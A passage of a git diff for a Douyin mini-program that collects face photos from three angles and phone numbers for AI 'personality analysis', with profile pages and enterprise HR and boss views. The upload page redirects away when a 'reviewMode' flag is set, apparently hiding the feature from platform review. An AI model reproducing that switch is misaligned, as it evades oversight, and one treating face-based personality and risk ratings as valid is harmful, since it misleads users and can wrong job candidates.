20rpx; + padding: 0; + border: none; + line-height: 100rpx; + box-sizing: border-box; + overflow: hidden; +} + +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #e63946; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #e63946; + font-weight: 500; +} + +/* ========== 无人脸错误状态 ========== */ +.no-face-wrap { + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + padding: 40rpx 32rpx; + box-sizing: border-box; +} + +.no-face-card { + background: #fff; + border-radius: 24rpx; + padding: 60rpx 48rpx; + width: 100%; + display: flex; + flex-direction: column; + align-items: center; + box-shadow: 0 4rpx 20rpx rgba(0, 0, 0, 0.08); +} + +.no-face-icon { + width: 120rpx; + height: 120rpx; + background: #fff3f3; + border-radius: 60rpx; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 32rpx; +} + +.no-face-emoji { + font-size: 56rpx; + line-height: 1; +} + +.no-face-title { + font-size: 38rpx; + font-weight: 700; + color: #1a1a2e; + margin-bottom: 16rpx; + text-align: center; +} + +.no-face-desc { + font-size: 28rpx; + color: #e63946; + text-align: center; + line-height: 1.6; + margin-bottom: 40rpx; +} + +.no-face-tips { + width: 100%; + background: #f8f9fa; + border-radius: 16rpx; + padding: 28rpx 32rpx; + margin-bottom: 48rpx; + box-sizing: border-box; +} + +.no-face-tips-title { + font-size: 28rpx; + font-weight: 600; + color: #333; + display: block; + margin-bottom: 16rpx; +} + +.no-face-tip-item { + font-size: 26rpx; + color: #666; + line-height: 1.8; + display: block; +} + +.no-face-btn { + width: 100%; + height: 96rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 48rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.no-face-btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +/* ========== 盖洛普优势卡片 ========== */ +.gallup-list { + display: flex; + flex-direction: column; + gap: 20rpx; + margin-top: 12rpx; +} + +.gallup-item { + display: flex; + align-items: center; + gap: 24rpx; + padding: 18rpx 24rpx; + background: linear-gradient(135deg, rgba(230, 57, 70, 0.06) 0%, rgba(255, 107, 157, 0.04) 100%); + border-radius: 16rpx; + border-left: 6rpx solid #e63946; +} + +.gallup-rank { + width: 56rpx; + height: 56rpx; + border-radius: 50%; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + display: flex; + align-items: center; + justify-content: center; + font-size: 28rpx; + font-weight: 700; + color: #fff; + flex-shrink: 0; + text-align: center; + line-height: 56rpx; +} + +.gallup-text { + font-size: 30rpx; + font-weight: 600; + color: #1a1a2e; +} + +/* ========== 企业版:职业画像 / HR视角 / 老板视角 ========== */ +.enterprise-section { + margin-bottom: 24rpx; +} + +.enterprise-section:last-child { + margin-bottom: 0; +} + +.enterprise-label { + font-size: 26rpx; + font-weight: 600; + color: #333; + display: block; + margin-bottom: 12rpx; +} + +.enterprise-sublabel { + font-size: 24rpx; + color: #888; + display: block; + margin-bottom: 8rpx; +} + +.enterprise-tags { + display: flex; + flex-wrap: wrap; + gap: 12rpx; +} + +.enterprise-tag { + padding: 10rpx 20rpx; + background: linear-gradient(135deg, #e8f5e9 0%, #c8e6c9 100%); + border-radius: 24rpx; + font-size: 24rpx; + color: #2e7d32; +} + +.enterprise-tag.risk { + background: linear-gradient(135deg, #fff3e0 0%, #ffe0b2 100%); + color: #e65100; +} + +.lifecycle-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.lifecycle-item { + padding: 16rpx 20rpx; + background: #f8f9fa; + border-radius: 12rpx; +} + +.lifecycle-key { + font-size: 24rpx; + color: #999; + display: block; + margin-bottom: 6rpx; +} + +.lifecycle-val { + font-size: 26rpx; + color: #333; + line-height: 1.6; + display: block; +} + +.boss-card { + border-left: 6rpx solid #1976d2; +} + +.boss-headline { + font-size: 30rpx; + font-weight: 600; + color: #1a1a2e; + line-height: 1.6; + display: block; + margin-bottom: 20rpx; +} + +.boss-metrics { + display: flex; + flex-wrap: wrap; + gap: 16rpx; +} + +.boss-metric { + flex: 1; + min-width: 140rpx; + padding: 16rpx; + background: #f5f5f5; + border-radius: 12rpx; + text-align: center; +} + +.boss-metric-label { + font-size: 22rpx; + color: #999; + display: block; + margin-bottom: 6rpx; +} + +.boss-metric-value { + font-size: 28rpx; + font-weight: 600; + color: #333; + display: block; +} + +.boss-metric-value.high { + color: #4caf50; +} + +.boss-metric-value.medium { + color: #ff9800; +} + +.boss-metric-value.low { + color: #f44336; +} diff --git a/douyin-miniprogram/pages/index/upload.js b/douyin-miniprogram/pages/index/upload.js new file mode 100644 index 0000000..8d341b7 --- /dev/null +++ b/douyin-miniprogram/pages/index/upload.js @@ -0,0 +1,198 @@ +// pages/index/upload.js - 上传照片引导页 +const app = getApp() +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + sampleImages: [ + 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22c5b77dd72.66364633.png', + 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d71b312f8.14596541.png', + 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d78d52b94.76297015.png' + ], + photos: ['', '', ''], + uploadedUrls: [], + photoIndex: 0, + guideTexts: ['请正对镜头', '请向左转45°', '请向右转45°'], + guideText: '请正对镜头', + uploading: false, + needPhoneAuth: false, + aiAnalysisText: '分析' + }, + + onLoad() { + const tc = app.globalData.textConfig + if (tc && tc.aiAnalysisText) { + this.setData({ aiAnalysisText: tc.aiAnalysisText }) + } else { + app.getRuntimeConfig().then((cfg) => { + if (cfg && cfg.textConfig) { + app.globalData.textConfig = cfg.textConfig + this.setData({ aiAnalysisText: cfg.textConfig.aiAnalysisText || '分析' }) + } + }).catch(() => {}) + } + }, + + onShow() { + // 审核模式下重定向到测试选择页 + if (app.globalData.reviewMode) { + tt.navigateTo({ url: '/pages/test-select/index' }) + return + } + if (!ensureProfileCompleteAndRedirect()) return + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 1 }) + } + this.setData({ needPhoneAuth: !hasPhone() }) + const tc = app.globalData.textConfig + if (tc && tc.aiAnalysisText) { + this.setData({ aiAnalysisText: tc.aiAnalysisText }) + } + }, + + // 本页就地授权手机号 + onGetPhoneNumber(e) { + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + tt.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + if (!code && !hasPhone()) { + tt.showToast({ title: '获取手机号失败', icon: 'none' }) + return + } + if (!code && hasPhone()) { + // 已有手机号,无需重复请求 + this.setData({ needPhoneAuth: false }) + return + } + bindPhoneByCode(code).then(() => { + this.setData({ needPhoneAuth: false }) + }).catch(() => { + // 失败时保持 needPhoneAuth 为 true,等待用户重新授权 + this.setData({ needPhoneAuth: !hasPhone() }) + }) + }, + + // 选择/拍摄照片通用方法(index: 0 正面 / 1 左侧 / 2 右侧) + choosePhoto(index) { + tt.chooseImage({ + count: 1, + sizeType: ['compressed'], + sourceType: ['camera', 'album'], + success: (res) => { + const tempPath = res.tempFilePaths[0] + const photos = this.data.photos.slice() + photos[index] = tempPath + const filledCount = photos.filter(Boolean).length + const guideText = this.data.guideTexts[filledCount] || '拍摄完成' + this.setData({ photos, photoIndex: filledCount, guideText }) + // 选完图后立即上传当前这张到服务器 + this.uploadSinglePhoto(index, tempPath) + }, + fail: () => {} + }) + }, + // 单张上传到服务器,成功后记录 URL + uploadSinglePhoto(index, localPath) { + const apiBase = (app.globalData && app.globalData.apiBase) ? app.globalData.apiBase.replace(/\/$/, '') : '' + if (!apiBase) { + tt.showToast({ title: '网络未就绪,请稍后再试', icon: 'none' }) + return + } + const token = (app.globalData && app.globalData.token) || tt.getStorageSync('token') || '' + const uploadUrl = apiBase + '/api/upload/image' + + tt.showLoading({ title: '上传中...', mask: true }) + tt.uploadFile({ + url: uploadUrl, + filePath: localPath, + name: 'file', + header: token ? { Authorization: 'Bearer ' + token } : {}, + success: (res) => { + try { + const data = JSON.parse(res.data) + if (data.code === 200 && data.data && data.data.url) { + const url = data.data.url + const uploadedUrls = this.data.uploadedUrls.slice() + uploadedUrls[index] = url + const photos = this.data.photos.slice() + photos[index] = url + this.setData({ uploadedUrls, photos }) + } else { + tt.showToast({ title: data.message || '上传失败', icon: 'none' }) + } + } catch (e) { + tt.showToast({ title: '解析上传结果失败', icon: 'none' }) + } + }, + fail: (err) => { + console.error('[upload] 单张上传失败:', err) + tt.showToast({ title: '上传失败,请重试', icon: 'none' }) + }, + complete: () => { + tt.hideLoading() + } + }) + }, + + // 三个角度对应的上传按钮 + onUploadFront() { + this.choosePhoto(0) + }, + onUploadLeft() { + this.choosePhoto(1) + }, + onUploadRight() { + this.choosePhoto(2) + }, + + // 重新拍摄全部照片 + retakeAll() { + tt.showModal({ + title: '重新拍摄', + content: '确定要重新拍摄所有照片吗?', + confirmText: '确定', + cancelText: '取消', + success: (res) => { + if (res.confirm) { + this.setData({ + photos: ['', '', ''], + uploadedUrls: [], + photoIndex: 0, + guideText: '请正对镜头' + }) + tt.showToast({ title: '已清空,请重新拍摄', icon: 'success' }) + } + } + }) + }, + + // 完成拍照:先上传 3 张图到服务器,拿到 URL 后再跳转结果页 + completeCapture() { + if (!ensureProfileCompleteAndRedirect()) return + const urls = (this.data.uploadedUrls || []).filter(Boolean) + if (!urls.length) { + tt.showToast({ title: '请先上传至少一张照片', icon: 'none' }) + return + } + // 此时 URL 已在选择时上传完成,这里只负责保存和跳转 + tt.setStorageSync('aiPhotos', urls) + tt.navigateTo({ url: '/pages/index/result' }) + }, + + // 相机错误 + onCameraError(e) { + console.error('相机错误:', e) + tt.showModal({ + title: '相机权限', + content: '请允许使用相机权限以进行性格分析', + confirmText: '去设置', + success: (res) => { + if (res.confirm) { + tt.openSetting() + } + } + }) + } +}) diff --git a/douyin-miniprogram/pages/index/upload.json b/douyin-miniprogram/pages/index/upload.json new file mode 100644 index 0000000..33ef048 --- /dev/null +++ b/douyin-miniprogram/pages/index/upload.json @@ -0,0 +1,8 @@ +{ + "navigationBarTitleText": "拍照", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": { + "custom-tab-bar": "/custom-tab-bar/index" + } +} diff --git a/douyin-miniprogram/pages/index/upload.ttml b/douyin-miniprogram/pages/index/upload.ttml new file mode 100644 index 0000000..b4c0cde --- /dev/null +++ b/douyin-miniprogram/pages/index/upload.ttml @@ -0,0 +1,113 @@ + + + + + + + 多角度拍摄更精准 + + 为了更准确地分析您的性格特征, + 请上传以下三个维度的照片。 + + + + + + + + + 1 + + + 正面 + 目视前方,五官端正,不遮挡额头 + + + + + + 📷 + 点击上传 + + + + + + + + + + 2 + + + 左侧 45度 + 展示左侧面颊,用于分析面部轮廓 + + + + + + 📷 + 点击上传 + + + + + + + + + + 3 + + + 右侧 45度 + 展示右侧面颊,完整捕捉面部信息 + + + + + + 📷 + 点击上传 + + + + + + + + + + + + 温馨提示 + + + · 光线充足,背景整洁,避免过曝或过暗 + · 保持表情自然,无需刻意微笑 + · 如有佩戴眼镜,请确保镜片不反光 + + + + + + 为保障服务与联系,请先授权手机号。 + + + + + + + + + + + + diff --git a/douyin-miniprogram/pages/index/upload.ttss b/douyin-miniprogram/pages/index/upload.ttss new file mode 100644 index 0000000..1ee3650 --- /dev/null +++ b/douyin-miniprogram/pages/index/upload.ttss @@ -0,0 +1,276 @@ +/* pages/index/camera.wxss - 上传照片引导页(参照设计稿) */ + +.page { + min-height: 100vh; + min-height: 100dvh; + background-color: #ffffff; + display: flex; + flex-direction: column; + box-sizing: border-box; +} + +/* 主体内容 */ +.content { + flex: 1; + /* 底部按钮作为正常内容,在 tabBar 之上留出空间 */ + padding: 40rpx 48rpx 40rpx; + box-sizing: border-box; +} + +/* 顶部说明文案 */ +.intro { + text-align: center; + margin-bottom: 40rpx; +} + +.intro-title { + font-size: 34rpx; + font-weight: 700; + color: #111827; + margin-bottom: 12rpx; +} + +.intro-desc-wrap { + display: flex; + flex-direction: column; + align-items: center; + row-gap: 4rpx; +} + +.intro-desc { + font-size: 24rpx; + color: #6b7280; + line-height: 1.7; +} + +/* 三个步骤区域 */ +.steps { + display: flex; + flex-direction: column; + row-gap: 40rpx; +} + +.step-item { + display: flex; + flex-direction: row; +} + +.step-index { + width: 60rpx; + height: 60rpx; + border-radius: 9999rpx; + border-width: 4rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; +} + +.step-index-primary { + background-color: #ffe5e9; + border-color: #ff5e7d; +} + +.step-index-secondary { + background-color: #f3f4f6; + border-color: #d1d5db; +} + +.step-index-text { + font-size: 26rpx; + font-weight: 700; +} + +.step-index-text-primary { + color: #ff5e7d; +} + +.step-index-text-secondary { + color: #6b7280; +} + +.step-body { + flex: 1; +} + +.step-title { + font-size: 30rpx; + font-weight: 700; + color: #111827; + margin-bottom: 4rpx; +} + +.step-subtitle { + font-size: 22rpx; + color: #9ca3af; + margin-bottom: 16rpx; +} + +.step-upload-row { + display: flex; + flex-direction: row; + column-gap: 24rpx; +} + +.sample-image { + width: 200rpx; + height: 200rpx; + border-radius: 24rpx; + border: 2rpx solid #f3f4f6; + box-shadow: 0 6rpx 16rpx rgba(0, 0, 0, 0.06); + flex-shrink: 0; +} + +.upload-card { + width: 200rpx; + height: 200rpx; + overflow: hidden; + border-radius: 24rpx; + border: 4rpx dashed #fecaca; + background-color: #fff5f5; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + color: #f97373; +} + +.upload-icon { + font-size: 40rpx; + margin-bottom: 8rpx; +} + +.upload-text { + font-size: 24rpx; +} + +.upload-preview { + width: 100%; + height: 100%; + border-radius: 20rpx; + display: block; +} + +/* 温馨提示卡片 */ +.tips-card { + margin-top: 48rpx; + padding: 24rpx 28rpx; + border-radius: 24rpx; + background-color: #fff5f5; + border: 2rpx solid #ffe0e0; +} + +.tips-title-row { + display: flex; + align-items: center; + margin-bottom: 12rpx; +} + +.tips-icon { + width: 28rpx; + height: 28rpx; + border-radius: 9999rpx; + border: 4rpx solid #e63946; + margin-right: 10rpx; +} + +.tips-title { + font-size: 26rpx; + font-weight: 700; + color: #e63946; +} + +.tips-list { + margin-top: 4rpx; +} + +.tips-item { + font-size: 24rpx; + color: #b91c1c; + line-height: 1.7; +} + +/* 底部按钮区域 */ +.footer { + padding: 24rpx 0 0; + margin: 24rpx 48rpx calc(160rpx + env(safe-area-inset-bottom)); + background-color: #ffffff; +} + +.footer .primary-btn{ + width: 100%; +} + +.phone-auth-section { + padding: 24rpx 24rpx 0; + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.phone-auth-tip { + font-size: 26rpx; + color: #4b5563; +} + +.phone-auth-btn { + height: 80rpx; + line-height: 80rpx; + border-radius: 40rpx; + background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); + color: #ffffff; + font-size: 28rpx; +} + +.phone-auth-btn::after { + border: none; +} + +/* AI 生成内容标识横幅 */ +.ai-disclosure-banner { + display: flex; + align-items: center; + justify-content: center; + gap: 12rpx; + margin: 32rpx 48rpx 0; + padding: 16rpx 24rpx; + background: linear-gradient(135deg, #f0f4ff 0%, #e8ecf8 100%); + border: 1rpx solid #c7d2fe; + border-radius: 12rpx; +} + +.ai-disclosure-icon { + width: 44rpx; + height: 44rpx; + border-radius: 8rpx; + background: linear-gradient(135deg, #6366f1 0%, #818cf8 100%); + color: #fff; + font-size: 20rpx; + font-weight: 700; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.ai-disclosure-text { + font-size: 22rpx; + color: #4338ca; + line-height: 1.4; +} + +.primary-btn { + width: 100%; + padding: 24rpx 0; + border-radius: 9999rpx; + border: none; + background-image: linear-gradient(90deg, #ff5e7d 0%, #ff85a1 100%); + box-shadow: 0 10rpx 25rpx rgba(248, 113, 113, 0.45); + font-size: 32rpx; + font-weight: 700; + color: #ffffff; +} + +.primary-btn::after { + border: none; +} diff --git a/douyin-miniprogram/pages/phone-auth/index.js b/douyin-miniprogram/pages/phone-auth/index.js new file mode 100644 index 0000000..e286be1 --- /dev/null +++ b/douyin-miniprogram/pages/phone-auth/index.js @@ -0,0 +1,74 @@ +// 手机号授权页:用户点击按钮授权后,用 code 换手机号并写回 userInfo,再返回或跳转 next +const app = getApp() + +Page({ + data: { + next: '', + }, + + onLoad(options) { + this.setData({ + next: options.next ? decodeURIComponent(options.next) : '', + }) + }, + + onGetPhoneNumber(e) { + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + tt.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + if (!code) { + tt.showToast({ title: '获取手机号失败', icon: 'none' }) + return + } + const token = app.globalData.token || tt.getStorageSync('token') + if (!token) { + tt.showToast({ title: '请先登录', icon: 'none' }) + return + } + tt.showLoading({ title: '处理中...', mask: true }) + tt.request({ + url: `${app.globalData.apiBase.replace(/\/$/, '')}/api/auth/douyin/phone`, + method: 'POST', + header: { + 'Authorization': 'Bearer ' + token, + 'Content-Type': 'application/json', + }, + data: { code }, + success: (res) => { + tt.hideLoading() + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const data = res.data.data || {} + const user = data.user || app.globalData.userInfo || {} + const phone = data.phone || user.phone || '' + const newUser = { ...user, phone } + app.globalData.userInfo = newUser + tt.setStorageSync('userInfo', newUser) + tt.showToast({ title: '授权成功', icon: 'success' }) + const nextPath = this.data.next && this.data.next.startsWith('/') ? this.data.next : '' + const tabBarPaths = ['/pages/index/index', '/pages/index/camera', '/pages/profile/index'] + const isTabBar = tabBarPaths.some(p => nextPath === p || nextPath.startsWith(p + '?')) + if (nextPath) { + setTimeout(() => { + if (isTabBar) { + const pathOnly = nextPath.split('?')[0] + tt.switchTab({ url: pathOnly, fail: () => tt.navigateBack() }) + } else { + tt.redirectTo({ url: nextPath, fail: () => tt.navigateBack() }) + } + }, 500) + } else { + setTimeout(() => tt.navigateBack(), 500) + } + } else { + tt.showToast({ title: res.data && res.data.message ? res.data.message : '获取手机号失败', icon: 'none' }) + } + }, + fail: () => { + tt.hideLoading() + tt.showToast({ title: '网络请求失败', icon: 'none' }) + }, + }) + }, +}) diff --git a/douyin-miniprogram/pages/phone-auth/index.json b/douyin-miniprogram/pages/phone-auth/index.json new file mode 100644 index 0000000..1f1120b --- /dev/null +++ b/douyin-miniprogram/pages/phone-auth/index.json @@ -0,0 +1,4 @@ +{ + "navigationBarTitleText": "授权手机号", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/phone-auth/index.ttml b/douyin-miniprogram/pages/phone-auth/index.ttml new file mode 100644 index 0000000..3b5d05e --- /dev/null +++ b/douyin-miniprogram/pages/phone-auth/index.ttml @@ -0,0 +1,5 @@ + + 为保障服务与联系需要,请授权您的手机号。 + 授权后可在「查看报告」「支付」「企业咨询」等场景使用,仅需授权一次。 + + diff --git a/douyin-miniprogram/pages/phone-auth/index.ttss b/douyin-miniprogram/pages/phone-auth/index.ttss new file mode 100644 index 0000000..1b8b1c7 --- /dev/null +++ b/douyin-miniprogram/pages/phone-auth/index.ttss @@ -0,0 +1,29 @@ +.container { + padding: 48rpx 32rpx; + min-height: 100vh; + box-sizing: border-box; +} +.tip { + font-size: 30rpx; + color: #333; + line-height: 1.6; + margin-bottom: 24rpx; +} +.tip.sub { + color: #666; + font-size: 26rpx; + margin-bottom: 64rpx; +} +.auth-btn { + width: 100%; + height: 88rpx; + line-height: 88rpx; + background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); + color: #fff; + border-radius: 44rpx; + font-size: 32rpx; + border: none; +} +.auth-btn::after { + border: none; +} diff --git a/douyin-miniprogram/pages/profile/index.js b/douyin-miniprogram/pages/profile/index.js new file mode 100644 index 0000000..1aa4e3f --- /dev/null +++ b/douyin-miniprogram/pages/profile/index.js @@ -0,0 +1,323 @@ +// pages/profile/index.js - 我的页面 +const app = getApp() +const { getTypeOnly } = require('../../utils/resultFormat') +const { request } = require('../../utils/request') + +Page({ + data: { + hasLogin: false, + userInfo: null, + balance: 0, + testCount: 0, + hasResults: false, + mbtiType: '', + discType: '', + pdpType: '', + aiType: '', + mbtiTime: '', + discTime: '', + pdpTime: '', + aiTime: '', + reviewMode: false, + /** 最近记录的数据库 ID,用于跳转时传参 */ + mbtiResultId: null, + discResultId: null, + pdpResultId: null, + aiResultId: null, + loginLoading: false, + loginFailed: false, + nicknameDisplay: '', + displayNickname: '', + /** 默认头像(根据昵称):无头像时显示首字+背景色 */ + avatarLetter: '登', + avatarBgColor: '#6366f1', + // 推广中心统计与配置(来自 /api/distribution/stats) + promoDistributionEnabled: true, + promoCenterTitle: '推广中心', + promoTotalInvite: 0, + promoTotalEarned: '0.00', + promoWithdrawable: '0.00', + /** 是否有企业权限(绑定企业):有则显示「我的简历」 */ + hasEnterprise: false + }, + + onLoad() { + // 仅在 onLoad 执行一次,onShow 里的 runLoginThenLoad 会导致重复请求 + this.runLoginThenLoad() + }, + onShow() { + // 同步审核模式 + this.setData({ reviewMode: !!app.globalData.reviewMode }) + // 如果是从其他页面返回,且已经登录,则只刷新数据而不重新执行登录流程 + if (this.data.hasLogin) { + this.loadData() + } + + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 2 }) + } + }, + + /** 先确保登录完成(静默登录),再刷新页面数据 */ + runLoginThenLoad() { + this.setData({ loginLoading: true, loginFailed: false }) + app.ensureLogin().then((ok) => { + this.setData({ loginLoading: false, loginFailed: !ok }) + this.loadData() + }).catch(() => { + this.setData({ loginLoading: false, loginFailed: true }) + this.loadData() + }) + }, + + /** 生成随机后缀:仅 26 英文字母(大小写)与数字,不含特殊字符,默认 4 位 */ + _randomWechatUserSuffix(len) { + const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' + let s = '' + for (let i = 0; i < (len || 4); i++) { + s += chars[Math.floor(Math.random() * chars.length)] + } + return s + }, + + /** 根据昵称生成默认头像的首字与背景色(同一昵称同色) */ + _avatarFromNickname(name) { + const str = (name && String(name).trim()) || '登' + const letter = str.charAt(0).toUpperCase() || '登' + const palette = ['#6366f1', '#8b5cf6', '#ec4899', '#f43f5e', '#14b8a6', '#0ea5e9', '#3b82f6', '#eab308'] + let hash = 0 + for (let i = 0; i < str.length; i++) hash += str.charCodeAt(i) + const bgColor = palette[Math.abs(hash) % palette.length] + return { avatarLetter: letter, avatarBgColor: bgColor } + }, + + /** 获取或生成当前用户的「微信用户XXXX」后缀(同一用户固定,仅 26 字母+数字) */ + _getOrCreateWechatUserSuffix(userInfo) { + const uid = (userInfo && (userInfo.id || userInfo.userId)) ? String(userInfo.id || userInfo.userId) : '_default' + const storageKey = 'wechat_user_suffix' + const stored = tt.getStorageSync(storageKey) + if (stored && typeof stored === 'object' && stored[uid]) return stored[uid] + const suffix = this._randomWechatUserSuffix(4) + const next = { ...(stored && typeof stored === 'object' ? stored : {}), [uid]: suffix } + tt.setStorageSync(storageKey, next) + return suffix + }, + + loadData() { + const userInfo = app.globalData.userInfo || tt.getStorageSync('userInfo') + const token = app.globalData.token || tt.getStorageSync('token') + + // 1. 先同步渲染用户基础信息(昵称/头像) + const nickname = (userInfo && (userInfo.nickname || userInfo.nickName)) + ? String(userInfo.nickname || userInfo.nickName).trim() : '' + let nicknameDisplay = nickname + let displayNickname = '' + if (!nickname && userInfo) { + const suffix = this._getOrCreateWechatUserSuffix(userInfo) + displayNickname = '微信用户' + suffix + nicknameDisplay = displayNickname + } + const avatarFromName = userInfo + ? this._avatarFromNickname(nicknameDisplay) + : this._avatarFromNickname('点击登录') + + const hasEnterprise = !!(userInfo && (userInfo.hasEnterprise === true || (userInfo.enterpriseId && Number(userInfo.enterpriseId) > 0))) + this.setData({ + hasLogin: !!token || !!userInfo, + userInfo: userInfo || null, + hasEnterprise, + nicknameDisplay, + displayNickname, + avatarLetter: avatarFromName.avatarLetter, + avatarBgColor: avatarFromName.avatarBgColor + }) + + // 2. 已登录则从服务端拉取最近记录;失败降级读 localStorage + if (token || userInfo) { + this._loadRecentFromAPI() + this._loadPromoStats() + } + }, + + /** 从 /api/test/recent 拉取各类型最新记录 */ + _loadRecentFromAPI() { + const scope = app.globalData.appScope || 'personal' + request({ + url: `/api/test/recent?scope=${scope}`, + method: 'GET', + success: (res) => { + // res 是 wx.request 原始响应:{ statusCode, data: { code, data, message } } + const payload = res && res.data + if (!payload || payload.code !== 200 || !payload.data) { + this._loadRecentFromStorage() + return + } + const { records = {}, totalCount = 0 } = payload.data + const r = records + + // DISC resultText 后端已含「型」,type badge 只显示字母,去掉「型」 + const discType = r.disc ? r.disc.resultText.replace(/型$/, '') : '' + + this.setData({ + testCount: totalCount, + hasResults: !!(r.mbti || r.disc || r.pdp || r.ai), + mbtiType: r.mbti ? r.mbti.resultText : '', + discType, + pdpType: r.pdp ? r.pdp.resultText : '', + aiType: r.ai ? r.ai.resultText : '', + mbtiTime: r.mbti ? r.mbti.testTime : '', + discTime: r.disc ? r.disc.testTime : '', + pdpTime: r.pdp ? r.pdp.testTime : '', + aiTime: r.ai ? r.ai.testTime : '', + mbtiResultId: r.mbti ? r.mbti.id : null, + discResultId: r.disc ? r.disc.id : null, + pdpResultId: r.pdp ? r.pdp.id : null, + aiResultId: r.ai ? r.ai.id : null, + }) + }, + fail: () => { + this._loadRecentFromStorage() + } + }) + }, + + /** 从 /api/distribution/stats 拉取推广中心统计 */ + _loadPromoStats() { + request({ + url: '/api/distribution/stats', + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const d = payload.data + this.setData({ + promoDistributionEnabled: d.distributionEnabled !== false, + promoCenterTitle: d.promoCenterTitle || '推广中心', + promoTotalInvite: d.totalInvite || 0, + promoTotalEarned: d.totalEarned || '0.00', + promoWithdrawable: d.walletBalance || '0.00' + }) + } + } + }) + }, + + /** 降级:从 localStorage 读最近记录(兼容离线或 API 失败) */ + _loadRecentFromStorage() { + const mbtiResult = tt.getStorageSync('mbtiResult') + const discResult = tt.getStorageSync('discResult') + const pdpResult = tt.getStorageSync('pdpResult') + const aiResult = tt.getStorageSync('aiResult') + + let testCount = 0 + if (mbtiResult) testCount++ + if (discResult) testCount++ + if (pdpResult) testCount++ + if (aiResult) testCount++ + + const _fmt = (ts) => { + if (!ts) return '' + const d = new Date(typeof ts === 'number' && ts < 1e12 ? ts * 1000 : ts) + if (isNaN(d.getTime())) return '' + return `${d.getFullYear()}-${String(d.getMonth() + 1).padStart(2, '0')}-${String(d.getDate()).padStart(2, '0')}` + } + + this.setData({ + testCount, + hasResults: testCount > 0, + mbtiType: mbtiResult ? getTypeOnly(mbtiResult, 'mbti') : '', + discType: discResult ? getTypeOnly(discResult, 'disc') : '', + pdpType: pdpResult ? getTypeOnly(pdpResult, 'pdp') : '', + aiType: aiResult ? (aiResult.mbtiType || aiResult.type || '') : '', + mbtiTime: _fmt(mbtiResult && (mbtiResult.createdAt || mbtiResult.timestamp || mbtiResult.testTime)), + discTime: _fmt(discResult && (discResult.createdAt || discResult.timestamp || discResult.testTime)), + pdpTime: _fmt(pdpResult && (pdpResult.createdAt || pdpResult.timestamp || pdpResult.testTime)), + aiTime: _fmt(aiResult && (aiResult.createdAt || aiResult.timestamp || aiResult.testTime)), + mbtiResultId: null, + discResultId: null, + pdpResultId: null, + aiResultId: null, + }) + }, + + /** 点击登录:先静默登录拿到 token */ + doLogin() { + this.setData({ loginLoading: true, loginFailed: false }) + app.ensureLogin().then((ok) => { + this.setData({ loginLoading: false }) + if (ok) { + this.loadData() + } else { + tt.showToast({ title: '登录失败,请检查网络或稍后重试', icon: 'none' }) + this.setData({ loginFailed: true }) + } + }).catch(() => { + this.setData({ loginLoading: false, loginFailed: true }) + tt.showToast({ title: '登录失败', icon: 'none' }) + }) + }, + + goToIndex() { tt.switchTab({ url: '/pages/index/index' }) }, + goToCamera() { tt.switchTab({ url: '/pages/index/camera' }) }, + goToHistory() { tt.navigateTo({ url: '/pages/history/index' }) }, + goToUserProfile() { tt.navigateTo({ url: '/pages/user-profile/index' }) }, + goToPurchase() { tt.navigateTo({ url: '/pages/purchase/index?tab=personal' }) }, + goToPurchasePersonal() { tt.navigateTo({ url: '/pages/purchase/index?tab=personal' }) }, + goToPurchaseEnterprise() { tt.navigateTo({ url: '/pages/purchase/index?tab=enterprise' }) }, + goToEnterprise() { tt.navigateTo({ url: '/pages/enterprise/index' }) }, + goToPromo() { tt.navigateTo({ url: '/pages/promo/index' }) }, + goToMyResume() { tt.navigateTo({ url: '/pages/enterprise/resume-history' }) }, + goToSettings() { + tt.showToast({ title: '开发中', icon: 'none' }) + }, + shareApp() { + // 触发分享 + }, + viewMBTI() { + const id = this.data.mbtiResultId + tt.navigateTo({ url: id ? `/pages/result/mbti?id=${id}&type=mbti` : '/pages/result/mbti' }) + }, + viewDISC() { + const id = this.data.discResultId + tt.navigateTo({ url: id ? `/pages/result/disc?id=${id}&type=disc` : '/pages/result/disc' }) + }, + viewPDP() { + const id = this.data.pdpResultId + tt.navigateTo({ url: id ? `/pages/result/pdp?id=${id}&type=pdp` : '/pages/result/pdp' }) + }, + viewAI() { + const id = this.data.aiResultId + tt.navigateTo({ url: id 